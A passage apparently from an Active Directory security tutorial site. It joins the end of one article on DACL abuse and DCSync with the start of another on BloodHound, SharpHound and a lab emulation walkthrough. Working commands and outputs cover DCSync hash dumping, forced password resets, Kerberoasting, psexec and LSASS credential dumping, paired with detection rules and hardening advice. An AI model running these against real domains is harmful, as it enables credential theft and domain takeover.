Note dacledit.py writes a .bak of the original DACL. Keep it. Restoring the original descriptor afterward is the difference between a clean test and leaving a backdoored domain.
Re-run the section 6 enumeration to confirm the new edge:
SecurityIdentifier ObjectAceType
------------------ -------------
LAB\svc_backup DS-Replication-Get-Changes
LAB\svc_backup DS-Replication-Get-Changes-All
svc_backup now holds both replication rights. It can DCSync.

9. Executing DCSync
svc_backup asks a DC to replicate secrets through DRSUAPI. No code runs on the DC, no file is touched on disk. It looks, at the wire level, like one domain controller syncing from another, except the requester is a service account.
From Linux with Impacket’s secretsdump.py:
secretsdump.py -just-dc LAB.local/svc_backup:'Password1!'@192.168.56.10
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
alice:1145:aad3b435b51404eeaad3b435b51404ee:5fbc3d5e8b9d7a4c1e2f0a6b8c4d7e90:::
helpdesk01:1142:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5e1a9c3b7d2f4068a1c5e93b27f640d8a1b4c7e92f035d816a9c4b7e0f263d59
krbtgt:aes128-cts-hmac-sha1-96:a1b2c3d4e5f60718293a4b5c6d7e8f90
[*] Cleaning up...
For a Golden Ticket you only need krbtgt, so scope the request:
secretsdump.py -just-dc-user krbtgt LAB.local/svc_backup:'Password1!'@192.168.56.10
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
krbtgt:aes256-cts-hmac-sha1-96:5e1a9c3b7d2f4068a1c5e93b27f640d8a1b4c7e92f035d816a9c4b7e0f263d59
[*] Cleaning up...
From Windows, Mimikatz does the same over LDAP into DRSUAPI:
mimikatz.exe "lsadump::dcsync /domain:LAB.local /user:LAB\krbtgt" "exit"
[DC] 'LAB.local' will be the domain
[DC] 'DC01.LAB.local' will be the DC server
[DC] 'LAB\krbtgt' will be the user account
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Credentials:
Hash NTLM: f3bc61e97fb14d18c42bcbf6c3a9055f
aes256_hmac : 5e1a9c3b7d2f4068a1c5e93b27f640d8a1b4c7e92f035d816a9c4b7e0f263d59
aes128_hmac : a1b2c3d4e5f60718293a4b5c6d7e8f90
You hold the krbtgt NT hash and AES256 key. That is full and persistent domain compromise: forge a Golden Ticket and you are any user, any time, until krbtgt is rotated twice.
10. The WriteOwner Chain
Sometimes you do not get WriteDacl directly. You get WriteOwner. The owner of an object can always rewrite its DACL regardless of the current ACEs, so WriteOwner is a three-step path to full control. Enumerate the owner first to confirm you can change it:
Get-DomainObjectAcl -Identity alice -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match "WriteOwner" }
ActiveDirectoryRights : WriteOwner
ObjectDN : CN=alice,CN=Users,DC=LAB,DC=local
SecurityIdentifier : S-1-5-21-3623811015-3361044348-30300820-1142
IsInherited : False
Take ownership, grant yourself full rights, then act:
# Step 1: become the owner
Set-DomainObjectOwner -Identity alice -OwnerIdentity helpdesk01
# Step 2: now that we own it, write ourselves full control
Add-DomainObjectAcl -TargetIdentity alice -PrincipalIdentity helpdesk01 -Rights All
# Step 3: reset the password
Set-DomainUserPassword -Identity alice -AccountPassword (ConvertTo-SecureString 'Owned123!' -AsPlainText -Force)
VERBOSE: [Set-DomainObjectOwner] Attempting to set the owner for 'alice' to 'helpdesk01'
VERBOSE: [Add-DomainObjectAcl] Granting principal ...-1142 'All' rights on CN=alice,CN=Users,DC=LAB,DC=local
VERBOSE: [Set-DomainUserPassword] Password for user 'alice' successfully reset
The lesson: WriteOwner and WriteDacl are functionally GenericAll waiting two extra commands. Treat them as identical risk in your defensive triage.
11. Detection, Defense, and ACL Hygiene
Every step above generates evidence if you are auditing the right things. The catch is that DS Access auditing is off by default, so most domains see none of this.
Enable the audit policy
Configure via GPO at Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> DS Access:
- Audit Directory Service Access (Success, Failure) enables Event ID
4662. - Audit Directory Service Changes (Success) enables Event ID
5136. - Audit Directory Service Object Access (Success) enables
4670.
Windows Security Event IDs
| Event ID | Trigger | What to look for |
|---|---|---|
4662 | Operation performed on an AD object | Non-DC principal accessing properties 1131f6aa, 1131f6ad, 89e95b76; filter AccessMask: 0x100 |
5136 | Directory service object modified | ObjectClass: domainDNS with a new ACE carrying replication GUIDs; also catches the WriteDacl grant |
4670 | Permissions on an object changed | DACL changes on user/group/domain objects by unexpected trustees |
4728/4732/4756 | Member added to a security-enabled group | Sudden additions to Domain Admins / Enterprise Admins |
The DCSync from section 9 fires 4662 on the DC for replication access against the domain object. Any principal whose name does not end in $ (machine accounts) generating those GUIDs is your alert. The DCSync grant from section 8 fires 5136 with ObjectClass=domainDNS and a modified nTSecurityDescriptor, which is the single highest-fidelity detection in this whole chain because legitimate DACL changes on the domain head are rare.
Sigma rules
DCSync rights addition, mapping to the canonical SigmaHQ rule win_security_account_backdoor_dcsync_rights.yml:
title: Replication Rights Granted on Domain Object
logsource:
product: windows
service: security
detection:
selection:
EventID: 5136
ObjectClass: domainDNS
AttributeLDAPDisplayName: nTSecurityDescriptor
condition: selection
level: high
DCSync execution detection via 4662, filtering out legitimate DC machine accounts:
title: DCSync Replication via DRSUAPI by Non-DC Principal
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
ObjectType:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
- '89e95b76-444d-4c62-991a-0facbeda640c'
filter:
SubjectUserName|endswith: '$' # exclude legitimate DC machine accounts
condition: selection and not filter
level: critical
Catching the enumeration
SharpHound, dacledit.py, and secretsdump.py are catchable at process and network layers with Sysmon:
| Sysmon EID | Use |
|---|---|
1 (Process Create) | Match Image/CommandLine containing SharpHound, BloodHound, dacledit, secretsdump |
11 (File Create) | Match TargetFilename like *_BloodHound.zip, *_computers.json, *_acls.json |
3 (Network Connect) | High-volume LDAP (TCP 389/636) from a non-DC workstation to a DC in a short window |
title: SharpHound ACL Collection Execution
logsource:
product: windows
category: process_creation
detection:
selection:
EventID: 1
CommandLine|contains:
- 'CollectionMethods ACL'
- 'SharpHound'
condition: selection
level: medium
The ETW provider Microsoft-Windows-Security-Auditing generates 4662/5136/4670. Microsoft-Windows-LDAP-Client gives query telemetry, noisy but useful for baselining what normal LDAP volume looks like before you alert on the spike SharpHound creates.
Hardening and ACL hygiene
- Limit replication rights strictly to accounts that genuinely need them. Only Domain Controllers should hold
DS-Replication-Get-ChangesandDS-Replication-Get-Changes-All. Anything else is a DCSync vector waiting for that account to be phished. - Remove
GenericAll,WriteDacl,WriteOwner, andForceChangePasswordrights that cannot be explicitly justified on high-value objects. This is where permission sprawl lives. - Put all Tier 0 accounts in the Protected Users group and confirm AdminSDHolder propagation runs on schedule. Remember
AdminCount=1objects do not inherit container ACEs, so verify SDProp is actually overwriting their DACLs from a clean template. - Deploy Microsoft Defender for Identity (or ATA), which has built-in analytics for DCSync and anomalous replication requests originating from non-DC hosts.
- Run BloodHound CE defensively on a schedule. Collect the same ACL graph the attacker would and triage new dangerous edges before someone external finds them. The tool that maps your attack path is the tool that maps your remediation list.

12. Tools for ACL and DACL Analysis
| Tool | Description | Link |
|---|---|---|
| PowerView | Get-DomainObjectAcl, Add-DomainObjectAcl, Set-DomainObjectOwner, Set-DomainUserPassword | github.com/PowerShellMafia/PowerSploit |
| SharpHound / BloodHound CE | ACL graph collection and Cypher path-finding | bloodhound.specterops.io |
Impacket dacledit.py | Linux DACL read/write with -action and -rights | github.com/fortra/impacket |
Impacket secretsdump.py | DCSync over DRSUAPI, -just-dc / -just-dc-user | github.com/fortra/impacket |
| Mimikatz | lsadump::dcsync from Windows | github.com/gentilkiwi/mimikatz |
| bloodyAD | Lightweight LDAP ACE writes and DCSync grant | github.com/CravateRouge/bloodyAD |
| rpcclient | setuserinfo2 for SAMR password reset | samba.org |
Native Get-Acl / ADSI | Built-in DACL read on AD:\ provider | learn.microsoft.com |
13. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Permission Groups Discovery: Domain Groups | T1069.002 | LDAP query volume, SharpHound process creation (Sysmon EID 1) |
| Account Discovery: Domain Account | T1087.002 | Bulk user/ACL enumeration, ADWS spikes |
| Valid Accounts: Domain Accounts | T1078.002 | Anomalous auth from foothold account |
| Domain or Tenant Policy Modification | T1484 | Event ID 5136 on nTSecurityDescriptor, 4670 DACL change |
| Account Manipulation | T1098 | Event ID 4728/4732 group adds, ACE writes |
| OS Credential Dumping: DCSync | T1003.006 | Event ID 4662 replication GUIDs from non-DC principal |
A note on a common mis-tag: AD DACL modification is T1484, and DCSync is T1003.006. It is not T1222.001, which is File and Directory Permissions Modification: Windows and covers NTFS DACLs via icacls/takeown. Different object model, different detection. Do not let a SIEM rule conflate them or you will tune out filesystem noise and miss directory abuse.
Summary
- AD object permission abuse turns a low-privilege account into Domain Admin without a single exploit, by reading and rewriting security descriptors. The whole attack is graph traversal over
nTSecurityDescriptorDACLs. GenericAll,WriteDacl,WriteOwner,AllExtendedRights, andForceChangePasswordare the five lethal rights.WriteOwnerbecomesWriteDaclbecomesGenericAllin two commands, so treat them as equal risk.- DCSync is a legitimate
DsGetNCChangesreplication call over DRSUAPI, not file theft. The replication GUIDs1131f6aa...and1131f6ad...on the domain object are the keys to the kingdom; only Domain Controllers should hold them. - Enumerate before you abuse: PowerView’s
Get-DomainObjectAcl -ResolveGUIDsand BloodHound’sshortestPathCypher reveal the full chain before you touch a single ACE. - Detect with DS Access auditing on: Event ID
5136(ObjectClass=domainDNS, modifiednTSecurityDescriptor) catches the DCSync grant, and Event ID4662with the replication GUIDs from a non-$principal catches the dump. Run BloodHound defensively to close the edges first.
Related Tutorials
- Finding the EIP Offset: Pattern Creation and Cyclic Patterns
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
- Handle Tables & Object Manager
References
BloodHound and SharpHound: Collection Methods, Edges, and Cypher Hunting for Attack Paths
You have a single low-privilege domain account. Somewhere in this forest sits a path of misconfigurations that walks you straight to Domain Admin, and the only thing standing between you and that path is knowing it exists. That is the entire premise of BloodHound. Active Directory privilege escalation is not magic, it is a graph traversal problem, and SharpHound is the tool that turns a messy domain into a database you can query.
Objective: Understand how SharpHound collects Active Directory data over LDAP and SMB/DCERPC, how BloodHound models that data as a directed attack-path graph, how to hunt choke-point paths with Cypher, and how to chain edges into Domain Admin in a lab, paired with the exact telemetry a defender uses to catch every step.
1. What BloodHound Actually Is
BloodHound is a graph analysis platform built on the Neo4j graph database. Every object in Active Directory becomes a node: users, groups, computers, organizational units (OUs), group policy objects (GPOs), and domains. Every relationship between those objects becomes a directed edge: group membership, ACL permissions, active sessions, trust relationships.
The directionality is the whole point. An edge HELPDESK1 -[GenericAll]-> SVC_SQL means helpdesk1 controls svc_sql, not the other way round. Privilege flows along the arrows. When you ask “how do I get from this account to Domain Admins”, you are literally asking Neo4j for a shortest path through a directed graph, and the database answers in milliseconds what would take a human days of manual ACL spelunking.
The current release is BloodHound Community Edition (CE). It ships as a standalone web UI deployed through Docker (or natively) with a Neo4j backend, replacing the legacy Electron desktop app. SharpHound CE is the official collector, written in C#, and it feeds JSON into Neo4j where the data is stored as nodes and relationships and rendered as the familiar attack-path diagrams.
Why model it this way? Because AD permissions are transitive and non-obvious. A user is a member of a group, which is nested inside another group, which has GenericWrite over a third group, which is local admin on a box where a Domain Admin happens to have a session. No human tracks that. A graph database does it for free with one query.

2. Lab Setup
Build everything against your own range. Nothing here runs against production.
The lab is three machines:
| Host | Role | OS |
|---|---|---|
DC01 | Domain controller, lab.local | Windows Server 2022 |
WS01 | Domain-joined workstation | Windows 10/11 |
WS02 | Domain-joined workstation | Windows 10/11 |
Promote DC01 to a domain controller for lab.local, join both workstations, then inject the deliberate misconfigurations. This is the vulnerable target. Run the following on DC01 in an elevated PowerShell session.
# On DC01 - inject deliberate misconfigurations for the lab
Import-Module ActiveDirectory
# Create users
New-ADUser -Name "helpdesk1" -AccountPassword (ConvertTo-SecureString "P@ssw0rd1!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "svc_sql" -AccountPassword (ConvertTo-SecureString "Sqlpass123!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "da_user" -AccountPassword (ConvertTo-SecureString "DaPass456!" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "da_user"
# Register SPN on svc_sql (makes it Kerberoastable)
Set-ADUser svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/WS01.lab.local:1433"}
# Grant helpdesk1 GenericAll over svc_sql (ACL misconfiguration)
$acl = Get-ACL "AD:\$(Get-ADUser svc_sql | Select-Object -ExpandProperty DistinguishedName)"
$sid = (Get-ADUser helpdesk1).SID
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid, "GenericAll", "Allow")
$acl.AddAccessRule($ace)
Set-ACL -AclObject $acl "AD:\$(Get-ADUser svc_sql | Select-Object -ExpandProperty DistinguishedName)"
# Enable unconstrained delegation on WS01
Set-ADComputer WS01 -TrustedForDelegation $true
# Grant helpdesk1 RDP rights on a workstation
Add-ADGroupMember -Identity "Remote Desktop Users" -Members "helpdesk1"
# Verification output
Name SamAccountName Enabled
---- -------------- -------
helpdesk1 helpdesk1 True
svc_sql svc_sql True
da_user da_user True
ServicePrincipalNames : {MSSQLSvc/WS01.lab.local:1433}
TrustedForDelegation : True (WS01)
Now stand up BloodHound CE on your operator box (Linux or Windows with Docker).
# BloodHound CE via Docker Compose (one-time setup)
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound
docker compose -f docker-compose.yml up -d
[+] Running 4/4
- Container bloodhound-app-db-1 Started
- Container bloodhound-graph-db-1 Started
- Container bloodhound-bloodhound-1 Started
Initial password printed to logs. Browse to http://localhost:8080
Grab the bootstrap admin password from the container logs, log in at http://localhost:8080, and confirm Neo4j connectivity by checking the database info panel. You now have an empty graph waiting for data.
3. SharpHound Internals
Before running the collector, understand what it actually does on the wire. Detection lives in these details, and so does opsec.
Transport and Protocol Layer
SharpHound collects through three Windows data-gathering channels:
- LDAP(S) to domain controllers. This is how it enumerates the AD structure itself: every object, every attribute, every ACL. LDAP is the directory query protocol, and a DC will happily answer authenticated queries for almost the entire schema because most attributes are world-readable to any authenticated user. That single fact is what makes
DCOnlycollection so effective and so quiet relative to session hunting. - SMB with DCERPC to domain-joined hosts. Named pipes carry remote procedure calls to enumerate permissions and session data the DC does not hold.
- Remote SAM and Remote Registry for local group membership and logged-on user enumeration.
.NET API Internals
Older ingestors used the DirectorySearcher class in the System.ActiveDirectory namespace. That class is convenient but drags in ADSI and COM overhead, producing more traffic and lower performance. SharpHound moved to the lower-level System.ActiveDirectory.Protocols namespace, driving LDAP directly with LdapConnection paired with SearchRequest and SearchResponse. Fewer round trips, tighter control over filters, less noise.
LDAP results are streamed, not buffered whole. The maximum size of the BlockingCollection used to collect data from LDAP is set to 1,000 items. The producer keeps the input queue full while consumers drain it, so SharpHound holds only 1,000 objects in memory at a time regardless of forest size. That producer-consumer pattern is why a 200,000-object forest does not blow out memory.
Windows APIs SharpHound Calls
| API Function | Purpose |
|---|---|
NetSessionEnum (srvcli.dll) | Enumerate active SMB sessions to find which users are logged on where |
NetWkstaUserEnum (netapi32.dll) | Enumerate interactive, service, and batch logons on a host |
RegEnumKeyEx (advapi32.dll) | Read registry to identify interactively logged-on users via their SIDs under HKU |
NetLocalGroupGetMembers | Legacy local group membership query, internally a series of SAMRPC calls |
That last entry hides a classic gotcha. Asking NetLocalGroupGetMembers for the group literally named Administrators works in English domains and breaks on localized ones (German, French, and so on use translated group names). Watch the call in Wireshark and it decomposes into several SAMRPC library calls against the remote SAM. Modern SharpHound resolves groups by RID instead, which is also why the named-pipe \samr traffic is such a reliable detection anchor.
4. Collection Methods Deep Dive
The collector is driven by -c / --collectionmethods. The full set of values:
| Flag | Data Collected | Noise |
|---|---|---|
Default | Group, trusts, local group, sessions, ACLs, object props, SPN targets | Medium-high |
DCOnly | Everything queryable from the DC over LDAP: groups, ACLs, GPOs, trusts. No sessions | Low |
Session | Logged-on sessions via NetSessionEnum / NetWkstaUserEnum | High (lateral) |
LoggedOn | Privileged session enumeration via registry and wkssvc | High |
LocalGroup | Local group membership via SAMRPC | Medium |
ACL | DACLs on AD objects | Low |
ObjectProps | Full object attributes | Low |
Trusts | Domain and forest trust relationships | Low |
UserRights | User Rights Assignments (URAs) for accurate CanRDP | Medium |
CARegistry / DCRegistry / CertServices | ADCS CA config for ESC edges | Medium |
Container, GPOLocalGroup, RDP, DCOM, ComputerOnly, WebClientService, NTLMRegistry, SMBInfo, LdapServices | Targeted sub-collections | Varies |
A few of these matter more than their one-line summary suggests.
UserRights is what lets BloodHound stop guessing. User Rights Assignments define what a principal can do on a system independent of group membership. Before SharpHoundCommon v3, BloodHound inferred CanRDP purely from Remote Desktop Users membership. Collecting URAs lets it compute the edge accurately, including the deny rights that silently override allows.
The ADCS registry flags drive Certified Pre-Owned edges. SharpHound reads CA configuration under SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA Name>, including EnrollmentAgentRights (used to calculate ESC3) and checks for the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (required for ESC6). It also collects Kdc\StrongCertificateBindingEnforcement and Schannel\CertificateMappingMethods from DCs, which feed ESC6, ESC9, and ESC10 edge calculation.
Now run it. From a domain-joined operator host:
SharpHound.exe --CollectionMethods All --Domain lab.local --ZipFilename lab_data.zip
2024-XX-XX Initializing SharpHound at 14:02 on lab.local
2024-XX-XX Resolved current domain to lab.local
2024-XX-XX Loaded cache with stats: 0 ID to type mappings.
2024-XX-XX Status: 0 objects finished (+0) -- Using 28 MB RAM
2024-XX-XX Beginning LDAP search for lab.local
2024-XX-XX Producer has finished, closing LDAP channel
2024-XX-XX Status: 412 objects finished (+412 51.5)/s -- Using 41 MB RAM
2024-XX-XX Enumeration finished in 00:00:09.1
2024-XX-XX SharpHound Enumeration Completed at 14:02
2024-XX-XX Saving cache with stats: 187 ID to type mappings.
2024-XX-XX Output written to: 20240XX-lab_data.zip
For an opsec comparison, the DC-only variant never touches the workstations:
SharpHound.exe --CollectionMethods DCOnly --Domain lab.local
2024-XX-XX Beginning LDAP search for lab.local
2024-XX-XX Status: 398 objects finished (+398 99.5)/s -- Using 39 MB RAM
2024-XX-XX Enumeration finished in 00:00:04.0
Note the difference: All makes network connections to every reachable domain-joined computer to query sessions, generating the lateral SMB traffic that lights up network detections. DCOnly talks to one host. For sessions you can loop:
SharpHound.exe --CollectionMethods Session --Loop --Loopduration 01:00:00 --LoopInterval 00:05:00
2024-XX-XX Looping enabled. Loops will start after initial enumeration
2024-XX-XX Starting loop 1 at 14:10
2024-XX-XX Loop 1 finished, sleeping 00:05:00
If your operator box is not domain joined, prime the credential cache first:
runas /netonly /user:lab\helpdesk1 cmd.exe
Enter the password for lab\helpdesk1:
Attempting to start cmd.exe as user "lab\helpdesk1" ...
Then run SharpHound inside that shell. The /netonly flag uses those credentials for network authentication while keeping your local context, which is exactly how you collect from a foothold without a domain join.

5. Edge Catalogue and Abuse Chains
Edges are the verbs of the graph. Each one is a concrete abuse primitive.
| Edge | Meaning | Abuse Primitive |
|---|---|---|
MemberOf | Group membership | Transitive privilege traversal |
AdminTo | Local admin on a computer | PsExec, DCOM, WMI execution |
HasSession | Active session on a computer | Credential dump (Mimikatz) |
CanRDP | RDP rights | Lateral movement |
ExecuteDCOM | DCOM exec rights | Lateral movement |
CanPSRemote | WinRM/PSRemote rights | Lateral movement |
SQLAdmin | SQL admin link | SQL query execution |
TrustedBy | Domain trust | Cross-domain attack |
Contains / GpLink | OU containment / linked GPO | GPO abuse over scoped objects |
AllowedToDelegate | Constrained delegation | Kerberos ticket forgery |
AllowedToAct | Resource-based constrained delegation | RBCD attack |
GetChanges + GetChangesAll | DCSync rights (both required) | lsadump::dcsync |
ReadLAPSPassword | Read LAPS admin password | Plaintext retrieval |
AddMember | Add members to group | Privilege escalation |
The ACL edges deserve precise definitions because they are the bulk of real-world paths:
GenericAll: full object control. Add principals to a group, reset a user password without knowing the old one, register an SPN on a user object. Abused withSet-DomainUserPasswordorAdd-DomainGroupMember.GenericWrite: update any non-protected attribute. SetscriptPathon a target user to run your executable at next logon. Abused withSet-DomainObject.WriteOwner: change object ownership. Make yourself owner, then grant yourself anything. Abused withSet-DomainObjectOwner.WriteDACL: write a new ACE to the object’s DACL, granting yourself full control. The owner-to-full-control pivot pairs withWriteOwner.ForceChangePassword: reset the target’s password blind. Abused withSet-DomainUserPassword.AllExtendedRights: all extended rights including reading confidential attributes likems-Mcs-AdmPwd(LAPS) and forcing password resets.
Why are these abusable at the protocol level? A DACL on an AD object is a list of access control entries (ACEs), each binding a SID to a set of rights. The directory enforces those rights but does not care whether granting helpdesk a GenericAll ACE over a service account makes operational sense. Permission sprawl from years of helpdesk delegation, vendor installers, and copy-pasted ACLs leaves these ACEs scattered everywhere. BloodHound just reads them and draws the arrow.
Unconstrained delegation is the highest-value edge in most forests. A computer trusted for unconstrained delegation caches the Kerberos TGT of every user who authenticates to it. Compromise that box, coerce a domain controller to authenticate to it (PrinterBug/SpoolSample or PetitPotam), and you capture the DC’s own TGT. With the DC’s TGT you request service tickets as anyone, including Domain Admins. Find these machines with one Cypher line:
MATCH (c:Computer {unconstraineddelegation: true}) RETURN c.name
Token privileges and logon rights round out what ACL-only graphs miss. Privileges like SeBackupPrivilege, SeDebugPrivilege, SeImpersonatePrivilege, and SeAssignPrimaryTokenPrivilege bypass DACL checks entirely, so mapping them domain-wide exposes local privilege-escalation edges. Logon rights (SeInteractiveLogonRight, SeRemoteInteractiveLogonRight, SeNetworkLogonRight, SeServiceLogonRight, SeBatchLogonRight, plus their SeDeny* counterparts) are enforced by LSA before a token even exists, and the deny variants take precedence. They gate lateral movement at the door, which is why UserRights collection sharpens every movement edge.
6. Cypher Query Hunting
Cypher is Neo4j’s query language. The mental model: MATCH a pattern, optionally WHERE-filter it, RETURN the result. Patterns are drawn ASCII-art style with () for nodes and -[]-> for directed edges.
First, mark your foothold as owned. The owned flag drives the most useful pre-built queries.
MATCH (u:User {name: "HELPDESK1@LAB.LOCAL"}) SET u.owned = true RETURN u
+----------------------------------------------------+
| u |
+----------------------------------------------------+
| (:User:Base {name:"HELPDESK1@LAB.LOCAL", |
| owned:true, objectid:"S-1-5-21-1840...-1105"}) |
+----------------------------------------------------+
Now ask the central question: what is the shortest path from this owned account to Domain Admins?
MATCH p = shortestPath(
(u:User {owned: true})-[*1..]->(g:Group {name: "DOMAIN ADMINS@LAB.LOCAL"})
) RETURN p
1 path returned
HELPDESK1@LAB.LOCAL
-[GenericAll]-> SVC_SQL@LAB.LOCAL
-[AdminTo]-> WS02.LAB.LOCAL
-[HasSession]-> DA_USER@LAB.LOCAL
-[MemberOf]-> DOMAIN ADMINS@LAB.LOCAL
There it is. Four edges from helpdesk to Domain Admin. The [*1..] means “one or more edges of any type”, and shortestPath returns the tightest route. Use allShortestPaths when you want every equally short option.
Hunt the ACL abuse opportunities directly:
MATCH p = (n:User)-[:GenericAll]->(m:User) RETURN p
HELPDESK1@LAB.LOCAL -[GenericAll]-> SVC_SQL@LAB.LOCAL
Find Kerberoastable accounts (those with an SPN set):
MATCH (u:User {hasspn: true}) RETURN u.name, u.serviceprincipalnames
+---------------------+-----------------------------------+
| u.name | u.serviceprincipalnames |
+---------------------+-----------------------------------+
| SVC_SQL@LAB.LOCAL | ["MSSQLSvc/WS01.lab.local:1433"] |
+---------------------+-----------------------------------+
Run choke-point analysis. The accounts with the most AdminTo reach are the ones you defend or attack first:
MATCH (u:User)-[r:MemberOf|AdminTo*1..]->(c:Computer)
WITH u.name AS name, COUNT(DISTINCT c) AS count
RETURN name, count ORDER BY count DESC LIMIT 10
+------------------------+-------+
| name | count |
+------------------------+-------+
| DA_USER@LAB.LOCAL | 3 |
| SVC_SQL@LAB.LOCAL | 1 |
+------------------------+-------+
Find principals that can DCSync (both GetChanges and GetChangesAll are required, so query the intersection):
MATCH p = (n)-[:GetChanges]->(d:Domain)
MATCH q = (n)-[:GetChangesAll]->(d)
RETURN n.name, d.name
+-------------------------------+------------+
| n.name | d.name |
+-------------------------------+------------+
| DOMAIN ADMINS@LAB.LOCAL | LAB.LOCAL |
| ENTERPRISE ADMINS@LAB.LOCAL | LAB.LOCAL |
+-------------------------------+------------+
That intersection logic matters. A principal with only one of the two rights cannot replicate secrets; BloodHound’s DCSync edge correctly requires both, and so should your hunting query.
7. Adversary Emulation Walkthrough
End to end in the lab. Enumeration first at every step, then exploitation, with the telemetry each action generates.
Step 1: Enumerate the ACL Opportunity
Before touching svc_sql, confirm the GenericAll edge BloodHound surfaced is real. Use PowerView from your helpdesk1 context.
Import-Module .\PowerView.ps1
$sid = (Get-DomainUser helpdesk1).objectsid
Get-DomainObjectAcl -Identity svc_sql -ResolveGUIDs |
? { $_.SecurityIdentifier -eq $sid } |
Select SecurityIdentifier, ActiveDirectoryRights
SecurityIdentifier ActiveDirectoryRights
------------------ ---------------------
S-1-5-21-1840391731-2024753214-3672591890-1105 GenericAll
That confirms helpdesk1 holds GenericAll over svc_sql. GenericAll includes the right to reset the password without the current value, so this account is fully ours to take over.
Step 2: Abuse GenericAll, Force a Password Reset
Set-DomainUserPassword -Identity svc_sql `
-AccountPassword (ConvertTo-SecureString "NewPass1!" -AsPlainText -Force) -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'svc_sql'
VERBOSE: [Set-DomainUserPassword] Password for user 'svc_sql' successfully reset
This emits Windows Security event 4724 (password reset attempt) on the DC. A reset performed by a helpdesk account against a service account with an SPN is exactly the anomaly a defender should alert on.
Step 3: Optional Kerberoast Path
If you would rather not change the password (resets are loud), Kerberoast svc_sql instead. Here is the protocol reasoning that makes this work.
Kerberos authentication has two exchanges. In the AS exchange, the client proves identity to the Key Distribution Center (KDC) and receives a Ticket Granting Ticket (TGT), encrypted with the krbtgt key. In the TGS exchange, the client presents the TGT and asks for a service ticket to a named service principal (SPN). The KDC returns a service ticket whose encrypted portion is sealed with the NTLM hash of the service account that owns that SPN. The ticket also carries the PAC, which holds the user’s group memberships. Any authenticated user can request a service ticket for any SPN. Because the encrypted blob is sealed with the service account’s password-derived key, you can take it offline and brute-force the account password. That is Kerberoasting.
Find roastable accounts first, then request the ticket:
Get-DomainUser -SPN | Select samaccountname, serviceprincipalname
samaccountname serviceprincipalname
-------------- --------------------
svc_sql MSSQLSvc/WS01.lab.local:1433
Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql.hash
[*] Action: Kerberoasting
[*] Target User : svc_sql
[*] SamAccountName : svc_sql
[*] ServicePrincipalName : MSSQLSvc/WS01.lab.local:1433
[*] Hash written to : svc_sql.hash
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/WS01...*$A1B2C3...8F9E$D4E5...(snip)
hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc...:Sqlpass123!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/1 (100.00%) Digests
The TGS request shows up as event 4769 on the DC. A single account requesting a TGS for an MSSQLSvc/ SPN with RC4 encryption (etype 23) is the canonical Kerberoasting indicator.
Step 4: Enumerate the AdminTo Edge
BloodHound says svc_sql is local admin on WS02. Verify before moving.
$cred = Get-Credential lab\svc_sql
Get-NetLocalGroupMember -ComputerName WS02.lab.local -GroupName Administrators
ComputerName : WS02.lab.local
GroupName : Administrators
MemberName : LAB\svc_sql
SID : S-1-5-21-1840391731-2024753214-3672591890-1106
IsGroup : False
IsDomain : True
Step 5: AdminTo, Get Code Execution on WS02
Invoke-Command -ComputerName WS02.lab.local -Credential $cred -ScriptBlock { whoami }
lab\svc_sql
Or with Impacket from a Linux operator host:
python3 psexec.py lab/svc_sql:'NewPass1!'@WS02.lab.local
[*] Requesting shares on WS02.lab.local.....
[*] Found writable share ADMIN$
[*] Uploading file XbHkPqWz.exe
[*] Opening SVCManager on WS02.lab.local.....
[*] Creating service ZxQp on WS02.lab.local.....
[*] Starting service ZxQp.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045]
C:\Windows\system32> whoami
nt authority\system
PsExec triggers Sysmon EventID 1 for the service binary, a 5145 for the ADMIN$ write, and a 7045 (service install) in the System log. Three independent breadcrumbs for one technique.
Step 6: HasSession, Dump Credentials
BloodHound flagged a da_user session on WS02. With SYSTEM on that box, harvest it from LSASS memory. The PAC is irrelevant here; what you want are the logon credentials LSASS caches for interactive sessions.
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Authentication Id : 0 ; 4923871 (00000000:004b21df)
Session : Interactive from 2
User Name : da_user
Domain : LAB
SID : S-1-5-21-1840391731-2024753214-3672591890-1107
msv :
[00000003] Primary
* Username : da_user
* Domain : LAB
* NTLM : 5f4dcc3b5aa765d61d8327deb882cf99
